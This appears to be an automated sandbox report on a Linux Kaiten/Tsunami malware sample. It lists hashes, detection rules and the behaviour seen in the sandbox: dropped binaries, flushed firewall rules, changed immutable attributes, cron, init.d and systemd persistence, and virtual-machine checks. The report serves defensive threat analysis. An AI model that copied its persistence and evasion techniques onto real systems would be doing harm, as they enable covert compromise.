Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
149s -
max time network
149s -
platform
ubuntu-20.04_amd64 -
resource
ubuntu2004-amd64-20240221-en -
resource tags
arch:amd64arch:i386image:ubuntu2004-amd64-20240221-enkernel:5.4.0-169-genericlocale:en-usos:ubuntu-20.04-amd64system -
submitted
12/03/2024, 17:23
Behavioral task
behavioral1
Sample
bin.elf
Resource
ubuntu2004-amd64-20240221-en
General
-
Target
bin.elf
-
Size
3.9MB
-
MD5
426155ff2d5a20f7164da55ff23cc94b
-
SHA1
71f5f60479f21702145008bb98c108a69ba8f34c
-
SHA256
f998aeb84da8b84723ca9fdbdeb565dbc7938bd0a0ce5f0981307b3e24bdf712
-
SHA512
ae3c2dd95640d64a971a95af8a8aaf1effd150b0f8a37c46f902c991a66686c56210c8f2cf6ea00daa31c52731de6df2c4169b9279d387775b9d6c9739ecdc0b
-
SSDEEP
98304:7CuSt95TW1PvY22pKm2lGEhL4uQEMAlj664cLa1:7CuSt954A2WhcfRQrUUv1
Malware Config
Signatures
-
Detects Kaiten/Tsunami Payload 8 IoCs
resource yara_rule behavioral1/memory/1798-2-0x00007f349e88a000-0x00007f349e89e700-memory.dmp family_kaiten2 behavioral1/memory/2852-7-0x00007f57dd1f9000-0x00007f57dd20d700-memory.dmp family_kaiten2 behavioral1/memory/3328-11-0x00007f917fda3000-0x00007f917fdb7700-memory.dmp family_kaiten2 behavioral1/memory/3866-14-0x00007fb8803af000-0x00007fb8803c3700-memory.dmp family_kaiten2 behavioral1/memory/4309-17-0x00007f789a3ca000-0x00007f789a3de700-memory.dmp family_kaiten2 behavioral1/memory/5175-22-0x00007efd24940000-0x00007efd24954700-memory.dmp family_kaiten2 behavioral1/memory/5630-25-0x00007f2929e9f000-0x00007f2929eb3700-memory.dmp family_kaiten2 behavioral1/memory/5652-26-0x00007fcd4543c000-0x00007fcd45450700-memory.dmp family_kaiten2 -
Detects Kaiten/Tsunami payload 8 IoCs
resource yara_rule behavioral1/memory/1798-2-0x00007f349e88a000-0x00007f349e89e700-memory.dmp family_kaiten behavioral1/memory/2852-7-0x00007f57dd1f9000-0x00007f57dd20d700-memory.dmp family_kaiten behavioral1/memory/3328-11-0x00007f917fda3000-0x00007f917fdb7700-memory.dmp family_kaiten behavioral1/memory/3866-14-0x00007fb8803af000-0x00007fb8803c3700-memory.dmp family_kaiten behavioral1/memory/4309-17-0x00007f789a3ca000-0x00007f789a3de700-memory.dmp family_kaiten behavioral1/memory/5175-22-0x00007efd24940000-0x00007efd24954700-memory.dmp family_kaiten behavioral1/memory/5630-25-0x00007f2929e9f000-0x00007f2929eb3700-memory.dmp family_kaiten behavioral1/memory/5652-26-0x00007fcd4543c000-0x00007fcd45450700-memory.dmp family_kaiten -
Executes dropped EXE 26 IoCs
ioc pid Process /etc/init.d/knlib 1711 knlib /tmp/sys-helper 1798 sys-helper /tmp/service-agent 1800 service-agent /tmp/service-agent 2114 service-agent /tmp/service-agent 2414 service-agent /tmp/service-agent 2774 service-agent /tmp/sys-helper 2852 sys-helper /tmp/service-agent 2873 service-agent /tmp/sys-helper 3328 sys-helper /tmp/service-agent 3329 service-agent /tmp/service-agent 3712 service-agent /tmp/sys-helper 3866 sys-helper /tmp/service-agent 3867 service-agent /tmp/service-agent 4211 service-agent /tmp/sys-helper 4309 sys-helper /tmp/service-agent 4310 service-agent /tmp/service-agent 4653 service-agent /tmp/service-agent 4751 service-agent /tmp/service-agent 5097 Process not Found /tmp/sys-helper 5175 Process not Found /tmp/service-agent 5207 Process not Found /tmp/service-agent 5552 Process not Found /tmp/sys-helper 5630 Process not Found /tmp/sys-helper 5652 Process not Found /tmp/service-agent 5653 Process not Found /tmp/service-agent 5998 Process not Found -
Flushes firewall rules 11 IoCs
Flushes/ disables firewall rules inside the Linux kernel.
pid Process 1706 iptables 2933 update-rc.d 3389 update-rc.d 5267 Process not Found 5713 Process not Found 4811 Process not Found 1484 ufw 1860 update-rc.d 2474 update-rc.d 3927 update-rc.d 4370 update-rc.d -
ioc pid Process /usr/lib/modules/5.4.0-169-generic/kernel/net/ipv6/netfilter/ip6_tables.ko 1492 modprobe -
Reads EFI boot settings 64 IoCs
Reads EFI boot settings from the efivars filesystem, may contain security secrets or sensitive data.
description ioc Process File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 Process not Found File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 Process not Found File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 Process not Found File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 Process not Found File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 Process not Found File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 Process not Found File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 Process not Found File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 Process not Found File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 Process not Found File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 Process not Found File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 Process not Found File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 Process not Found File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 Process not Found File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 Process not Found File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 Process not Found File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 Process not Found File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 Process not Found File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 Process not Found File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 Process not Found File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 Process not Found File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 Process not Found File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 Process not Found File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 Process not Found File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl -
resource yara_rule behavioral1/files/fstream-6.dat upx behavioral1/files/fstream-15.dat upx behavioral1/files/fstream-17.dat upx behavioral1/files/fstream-186.dat upx -
Attempts to change immutable files 64 IoCs
Modifies inode attributes on the filesystem to allow changing of immutable files.
pid Process 4297 chattr 4311 sh 4518 sed 4744 chattr 1715 chattr 2401 chattr 3315 chattr 5579 Process not Found 2870 chattr 4354 sed 4743 chattr 5645 Process not Found 1905 sed 2865 chattr 4011 sed 4366 chattr 2630 chattr 2917 sed 3378 chattr 2415 sh 3326 chattr 4795 sed 4953 Process not Found 1783 chattr 3371 chattr 4369 chattr 4305 chattr 5854 Process not Found 2141 hostname 2801 hostname 2867 chattr 3383 sed 5644 Process not Found 5695 Process not Found 5700 Process not Found 1707 chattr 1790 chattr 3316 chattr 1844 sed 2628 chattr 4235 sh 4454 sed 4798 chattr 5200 Process not Found 3319 chattr 3916 chattr 5576 Process not Found 5638 Process not Found 1795 chattr 2410 chattr 2412 chattr 3574 sed 4511 chattr 2406 chattr 2453 sh 3324 chattr 1710 chattr 3323 chattr 4961 Process not Found 5251 Process not Found 5702 Process not Found 1978 chattr 2407 chattr 2411 chattr -
Checks CPU configuration 1 TTPs 51 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo grep File opened for reading /proc/cpuinfo grep File opened for reading /proc/cpuinfo service-agent File opened for reading /proc/cpuinfo grep File opened for reading /proc/cpuinfo grep File opened for reading /proc/cpuinfo service-agent File opened for reading /proc/cpuinfo Process not Found File opened for reading /proc/cpuinfo Process not Found File opened for reading /proc/cpuinfo grep File opened for reading /proc/cpuinfo Process not Found File opened for reading /proc/cpuinfo service-agent File opened for reading /proc/cpuinfo grep File opened for reading /proc/cpuinfo grep File opened for reading /proc/cpuinfo grep File opened for reading /proc/cpuinfo service-agent File opened for reading /proc/cpuinfo service-agent File opened for reading /proc/cpuinfo service-agent File opened for reading /proc/cpuinfo Process not Found File opened for reading /proc/cpuinfo grep File opened for reading /proc/cpuinfo grep File opened for reading /proc/cpuinfo grep File opened for reading /proc/cpuinfo service-agent File opened for reading /proc/cpuinfo Process not Found File opened for reading /proc/cpuinfo grep File opened for reading /proc/cpuinfo grep File opened for reading /proc/cpuinfo Process not Found File opened for reading /proc/cpuinfo Process not Found File opened for reading /proc/cpuinfo grep File opened for reading /proc/cpuinfo grep File opened for reading /proc/cpuinfo Process not Found File opened for reading /proc/cpuinfo Process not Found File opened for reading /proc/cpuinfo Process not Found File opened for reading /proc/cpuinfo grep File opened for reading /proc/cpuinfo service-agent File opened for reading /proc/cpuinfo service-agent File opened for reading /proc/cpuinfo Process not Found File opened for reading /proc/cpuinfo grep File opened for reading /proc/cpuinfo service-agent File opened for reading /proc/cpuinfo grep File opened for reading /proc/cpuinfo service-agent File opened for reading /proc/cpuinfo grep File opened for reading /proc/cpuinfo Process not Found File opened for reading /proc/cpuinfo grep File opened for reading /proc/cpuinfo grep File opened for reading /proc/cpuinfo grep File opened for reading /proc/cpuinfo Process not Found File opened for reading /proc/cpuinfo Process not Found File opened for reading /proc/cpuinfo grep File opened for reading /proc/cpuinfo grep File opened for reading /proc/cpuinfo service-agent File opened for reading /proc/cpuinfo Process not Found -
Checks hardware identifiers (DMI) 1 TTPs 64 IoCs
Checks DMI information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /sys/devices/virtual/dmi/id/product_name service-agent File opened for reading /sys/devices/virtual/dmi/id/product_name Process not Found File opened for reading /sys/devices/virtual/dmi/id/board_vendor Process not Found File opened for reading /sys/devices/virtual/dmi/id/sys_vendor service-agent File opened for reading /sys/devices/virtual/dmi/id/board_vendor Process not Found File opened for reading /sys/devices/virtual/dmi/id/board_vendor service-agent File opened for reading /sys/devices/virtual/dmi/id/bios_vendor service-agent File opened for reading /sys/devices/virtual/dmi/id/product_name Process not Found File opened for reading /sys/devices/virtual/dmi/id/sys_vendor Process not Found File opened for reading /sys/devices/virtual/dmi/id/product_name service-agent File opened for reading /sys/devices/virtual/dmi/id/board_vendor Process not Found File opened for reading /sys/devices/virtual/dmi/id/board_vendor service-agent File opened for reading /sys/devices/virtual/dmi/id/board_vendor Process not Found File opened for reading /sys/devices/virtual/dmi/id/sys_vendor Process not Found File opened for reading /sys/devices/virtual/dmi/id/sys_vendor service-agent File opened for reading /sys/devices/virtual/dmi/id/product_name service-agent File opened for reading /sys/devices/virtual/dmi/id/board_vendor service-agent File opened for reading /sys/devices/virtual/dmi/id/product_name service-agent File opened for reading /sys/devices/virtual/dmi/id/bios_vendor service-agent File opened for reading /sys/devices/virtual/dmi/id/sys_vendor service-agent File opened for reading /sys/devices/virtual/dmi/id/product_name service-agent File opened for reading /sys/devices/virtual/dmi/id/bios_vendor service-agent File opened for reading /sys/devices/virtual/dmi/id/bios_vendor Process not Found File opened for reading /sys/devices/virtual/dmi/id/sys_vendor Process not Found File opened for reading /sys/devices/virtual/dmi/id/board_vendor service-agent File opened for reading /sys/devices/virtual/dmi/id/board_vendor service-agent File opened for reading /sys/devices/virtual/dmi/id/product_name Process not Found File opened for reading /sys/devices/virtual/dmi/id/product_name Process not Found File opened for reading /sys/devices/virtual/dmi/id/board_vendor service-agent File opened for reading /sys/devices/virtual/dmi/id/product_name service-agent File opened for reading /sys/devices/virtual/dmi/id/product_name service-agent File opened for reading /sys/devices/virtual/dmi/id/product_name service-agent File opened for reading /sys/devices/virtual/dmi/id/bios_vendor Process not Found File opened for reading /sys/devices/virtual/dmi/id/bios_vendor service-agent File opened for reading /sys/devices/virtual/dmi/id/sys_vendor service-agent File opened for reading /sys/devices/virtual/dmi/id/product_name service-agent File opened for reading /sys/devices/virtual/dmi/id/sys_vendor service-agent File opened for reading /sys/devices/virtual/dmi/id/sys_vendor service-agent File opened for reading /sys/devices/virtual/dmi/id/bios_vendor service-agent File opened for reading /sys/devices/virtual/dmi/id/bios_vendor Process not Found File opened for reading /sys/devices/virtual/dmi/id/board_vendor service-agent File opened for reading /sys/devices/virtual/dmi/id/sys_vendor service-agent File opened for reading /sys/devices/virtual/dmi/id/bios_vendor service-agent File opened for reading /sys/devices/virtual/dmi/id/sys_vendor service-agent File opened for reading /sys/devices/virtual/dmi/id/product_name service-agent File opened for reading /sys/devices/virtual/dmi/id/board_vendor service-agent File opened for reading /sys/devices/virtual/dmi/id/bios_vendor service-agent File opened for reading /sys/devices/virtual/dmi/id/board_vendor service-agent File opened for reading /sys/devices/virtual/dmi/id/board_vendor service-agent File opened for reading /sys/devices/virtual/dmi/id/sys_vendor service-agent File opened for reading /sys/devices/virtual/dmi/id/bios_vendor Process not Found File opened for reading /sys/devices/virtual/dmi/id/bios_vendor service-agent File opened for reading /sys/devices/virtual/dmi/id/sys_vendor service-agent File opened for reading /sys/devices/virtual/dmi/id/board_vendor service-agent File opened for reading /sys/devices/virtual/dmi/id/sys_vendor Process not Found File opened for reading /sys/devices/virtual/dmi/id/product_name Process not Found File opened for reading /sys/devices/virtual/dmi/id/sys_vendor Process not Found File opened for reading /sys/devices/virtual/dmi/id/bios_vendor Process not Found File opened for reading /sys/devices/virtual/dmi/id/board_vendor service-agent File opened for reading /sys/devices/virtual/dmi/id/bios_vendor service-agent File opened for reading /sys/devices/virtual/dmi/id/product_name service-agent File opened for reading /sys/devices/virtual/dmi/id/bios_vendor service-agent File opened for reading /sys/devices/virtual/dmi/id/bios_vendor service-agent File opened for reading /sys/devices/virtual/dmi/id/sys_vendor service-agent -
Creates/modifies Cron job 1 TTPs 64 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/.lib-knlib4 Process not Found File opened for modification /etc/cron.d/sedfKxW5F sed File opened for modification /etc/cron.daily/pwnrig Process not Found File opened for modification /etc/cron.daily/sedaxSaY1 Process not Found File opened for modification /etc/cron.d/pwnrig tee File opened for modification /etc/cron.monthly/sedojgyuv Process not Found File opened for modification /etc/cron.hourly/pwnrig Process not Found File opened for modification /etc/cron.weekly/pwnrig tee File opened for modification /etc/cron.weekly/pwnrig tee File opened for modification /etc/cron.monthly/pwnrig Process not Found File opened for modification /etc/cron.d/pwnrig Process not Found File opened for modification /etc/cron.hourly/sedvAeCkZ Process not Found File opened for modification /etc/cron.weekly/pwnrig tee File opened for modification /etc/cron.weekly/pwnrig tee File opened for modification /etc/cron.d/pwnrig tee File opened for modification /etc/cron.daily/sedwtUbYo sed File opened for modification /var/spool/cron/crontabs/tmp.r3nnFk crontab File opened for modification /etc/cron.d/pwnrig tee File opened for modification /etc/cron.daily/sedYDW9HP sed File opened for modification /var/spool/cron/crontabs/tmp.VtCgeI crontab File opened for modification /etc/cron.d/sed9PTmQ2 Process not Found File opened for modification /etc/cron.hourly/pwnrig tee File opened for modification /etc/cron.hourly/pwnrig Process not Found File opened for modification /etc/cron.hourly/.lib-knlib4 bin.elf File opened for modification /etc/cron.monthly/pwnrig tee File opened for modification /etc/cron.d/sedzcud0y sed File opened for modification /etc/cron.weekly/pwnrig tee File opened for modification /etc/cron.daily/pwnrig Process not Found File opened for modification /var/spool/cron/crontabs/tmp.wVeByr Process not Found File opened for modification /var/spool/cron/crontabs/tmp.EOdnds crontab File opened for modification /etc/cron.weekly/sed9aYIEn sed File opened for modification /etc/cron.d/.lib-knlib4 Process not Found File opened for modification /etc/cron.hourly/.lib-knlib4 Process not Found File opened for modification /etc/cron.hourly/sedabJTaO sed File opened for modification /etc/cron.monthly/pwnrig tee File opened for modification /etc/cron.weekly/sedLKMvv0 Process not Found File opened for modification /var/spool/cron/crontabs/tmp.4Khlmr crontab File opened for modification /etc/cron.weekly/sedIGfa7H sed File opened for modification /etc/cron.monthly/sedn9Qoja sed File opened for modification /etc/cron.monthly/sedzsZvuH sed File opened for modification /etc/cron.weekly/sedWsqyfK Process not Found File opened for modification /etc/cron.d/sedlT93qm sed File opened for modification /etc/cron.daily/pwnrig tee File opened for modification /etc/cron.weekly/sedpAdRQb sed File opened for modification /var/spool/cron/crontabs/tmp.99Cfil crontab File opened for modification /etc/cron.d/sedO63JVH Process not Found File opened for modification /etc/cron.hourly/sedPfSlVp sed File opened for modification /etc/cron.monthly/sedpOXxxx sed File opened for modification /etc/cron.monthly/pwnrig tee File opened for modification /etc/cron.daily/pwnrig tee File opened for modification /var/spool/cron/.lib-knlib4 bin.elf File opened for modification /etc/cron.daily/.lib-knlib4 bin.elf File opened for modification /etc/cron.d/pwnrig tee File opened for modification /etc/cron.daily/pwnrig tee File opened for modification /etc/cron.weekly/sedsLpDvx Process not Found File opened for modification /etc/cron.monthly/sed0E1qqK Process not Found File opened for modification /var/spool/cron/crontabs/tmp.ep523C crontab File opened for modification /etc/cron.monthly/pwnrig tee File opened for modification /etc/cron.hourly/seddM6Ya2 sed File opened for modification /etc/cron.hourly/pwnrig tee File opened for modification /etc/cron.hourly/sedqMpv1w sed File opened for modification /etc/cron.d/pwnrig Process not Found File opened for modification /etc/cron.hourly/pwnrig tee File opened for modification /etc/cron.monthly/.lib-knlib4 Process not Found -
Enumerates running processes
Discovers information about currently running processes on the system
-
description ioc Process File opened for modification /etc/init.d/pwnrig Process not Found File opened for modification /etc/init.d/knlib bin.elf File opened for modification /etc/init.d/sedViq9rA sed File opened for modification /etc/init.d/pwnrig tee File opened for modification /etc/init.d/pwnrig tee File opened for modification /etc/init.d/sedyKynh0 sed File opened for modification /etc/init.d/pwnrig Process not Found File opened for modification /etc/init.d/sedG4a8ZO Process not Found File opened for modification /etc/init.d/pwnrig Process not Found File opened for modification /etc/init.d/pwnrig tee File opened for modification /etc/init.d/pwnrig tee File opened for modification /etc/init.d/pwnrig tee File opened for modification /etc/init.d/sed28QMEt sed File opened for modification /etc/init.d/seddq6Yaz Process not Found File opened for modification /etc/init.d/sed83ReyN sed File opened for modification /etc/init.d/sedngRVNe sed File opened for modification /etc/init.d/pwnrig tee File opened for modification /etc/init.d/sedxMeVRo Process not Found -
Modifies systemd 1 TTPs 15 IoCs
Adds/ modifies systemd service files. Likely to achieve persistence.
description ioc Process File opened for modification /etc/systemd/system/pwnrige.service tee File opened for modification /lib/systemd/system/pwnrigl.service Process not Found File opened for modification /etc/systemd/system/pwnrige.service Process not Found File opened for modification /lib/systemd/system/pwnrigl.service tee File opened for modification /etc/systemd/system/pwnrige.service tee File opened for modification /lib/systemd/system/pwnrigl.service tee File opened for modification /etc/systemd/system/pwnrige.service tee File opened for modification /etc/systemd/system/pwnrige.service Process not Found File opened for modification /etc/systemd/system/pwnrige.service tee File opened for modification /lib/systemd/system/pwnrigl.service tee File opened for modification /etc/systemd/system/pwnrige.service tee File opened for modification /lib/systemd/system/pwnrigl.service Process not Found File opened for modification /etc/systemd/system/knlibe.service bin.elf File opened for modification /lib/systemd/system/pwnrigl.service tee File opened for modification /lib/systemd/system/pwnrigl.service tee -
Reads CPU attributes 1 TTPs 64 IoCs
description ioc Process File opened for reading /sys/devices/system/cpu/possible service-agent File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/possible service-agent File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/types Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/types service-agent File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/possible service-agent File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online service-agent File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/types service-agent File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online service-agent File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/possible service-agent File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/possible Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/types service-agent File opened for reading /sys/devices/system/cpu/online service-agent File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/types Process not Found File opened for reading /sys/devices/system/cpu/possible service-agent File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/types service-agent File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/possible Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online service-agent File opened for reading /sys/devices/system/cpu/types service-agent File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online service-agent File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/possible Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/possible service-agent File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/types service-agent File opened for reading /sys/devices/system/cpu/online ps -
Reads hardware information 1 TTPs 64 IoCs
Accesses system info like serial numbers, manufacturer names etc.
description ioc Process File opened for reading /sys/devices/virtual/dmi/id/chassis_serial service-agent File opened for reading /sys/devices/virtual/dmi/id/chassis_asset_tag service-agent File opened for reading /sys/devices/virtual/dmi/id/chassis_type service-agent File opened for reading /sys/devices/virtual/dmi/id/board_version service-agent File opened for reading /sys/devices/virtual/dmi/id/bios_version service-agent File opened for reading /sys/devices/virtual/dmi/id/board_version Process not Found File opened for reading /sys/devices/virtual/dmi/id/product_uuid service-agent File opened for reading /sys/devices/virtual/dmi/id/board_version service-agent File opened for reading /sys/devices/virtual/dmi/id/board_asset_tag service-agent File opened for reading /sys/devices/virtual/dmi/id/chassis_version service-agent File opened for reading /sys/devices/virtual/dmi/id/chassis_serial service-agent File opened for reading /sys/devices/virtual/dmi/id/bios_date service-agent File opened for reading /sys/devices/virtual/dmi/id/board_name service-agent File opened for reading /sys/devices/virtual/dmi/id/board_asset_tag service-agent File opened for reading /sys/devices/virtual/dmi/id/chassis_version service-agent File opened for reading /sys/devices/virtual/dmi/id/chassis_version service-agent File opened for reading /sys/devices/virtual/dmi/id/bios_version service-agent File opened for reading /sys/devices/virtual/dmi/id/product_uuid service-agent File opened for reading /sys/devices/virtual/dmi/id/board_version service-agent File opened for reading /sys/devices/virtual/dmi/id/chassis_asset_tag service-agent File opened for reading /sys/devices/virtual/dmi/id/chassis_vendor service-agent File opened for reading /sys/devices/virtual/dmi/id/chassis_version service-agent File opened for reading /sys/devices/virtual/dmi/id/chassis_type service-agent File opened for reading /sys/devices/virtual/dmi/id/board_version Process not Found File opened for reading /sys/devices/virtual/dmi/id/product_version service-agent File opened for reading /sys/devices/virtual/dmi/id/board_serial service-agent File opened for reading /sys/devices/virtual/dmi/id/bios_version service-agent File opened for reading /sys/devices/virtual/dmi/id/chassis_type service-agent File opened for reading /sys/devices/virtual/dmi/id/board_name Process not Found File opened for reading /sys/devices/virtual/dmi/id/chassis_version Process not Found File opened for reading 